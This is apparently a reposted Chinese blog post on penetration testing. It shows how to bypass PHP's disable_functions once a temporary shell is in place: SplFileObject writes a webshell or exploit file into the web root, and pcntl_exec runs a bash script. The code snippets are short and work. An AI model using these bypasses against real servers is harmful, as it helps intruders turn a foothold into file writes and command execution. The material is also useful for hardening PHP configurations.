php渗透测试技巧-文件操作与利用pcntl_exec突破disable_functions

有些时候通过文件包含漏洞或其他漏洞拿到一个临时shell之后却发现服务器对disable_functions做了比较变态的设置。使得我们没法将shell或local exp写到其他目录。

#print_r(ini_get('disable_functions'));
putenv,chdir,dl,shell_exec,exec,system,passthru,popen,fopen,
fputs,mkdir,rmdir,rename,move_uploaded_file,unlink,copy,chgrp,
chown,lchgrp,lchown,chmod,touch,symlink,link,apache_request_headers,
highlight_file,show_source,highlight_string,parse_ini_file,mail,tempnam,
tmpfile,file_put_contents,error_log,proc_open,stream_socket_server,phpinfo,phpversion

如上所示服务器禁止了写文件操作和命令执行等函数, 但利用php的一些特性均可以实现类似的功能。首先我想到可以使用的函数是gzopen, imagejpeg, session_save_path等, 对于写webshell来说基本够用了,但如果写一个local exp的话里面会参杂一些我不想要的数据, 好在PHP 5起多了一个SplFileObject的文件操作类,由于SplFileObject使用的人较少所以服务器的安全设置一般会漏掉。

<?php
    $file = new SplFileObject("/var/www/html/hispy/b4dboy.php", "w");
    $written = $file->fwrite('shellcode');
    echo "Wrote $written bytes to file";
    #print_r(glob('/var/www/html/hispy/*'));
?>

利用pcntl_exec突破disable_functions
说明:
pcntl是linux下的一个扩展,可以支持php的多线程操作。
pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0
在做渗透的时候被disable_functions卡住不能执行命令是家常便饭,在执行phpinfo();的时候眼前闪过–enable-pcntl。当时我就偷笑了,没啥好说的,我一直强调渗透要细心做人做事也一样

#exec.php
<?php pcntl_exec(“/bin/bash”, array(“/tmp/b4dboy.sh”));?>

#/tmp/b4dboy.sh
#!/bin/bash
ls -l /

猜你喜欢

转载自blog.csdn.net/weixin_45682070/article/details/107897461
今日推荐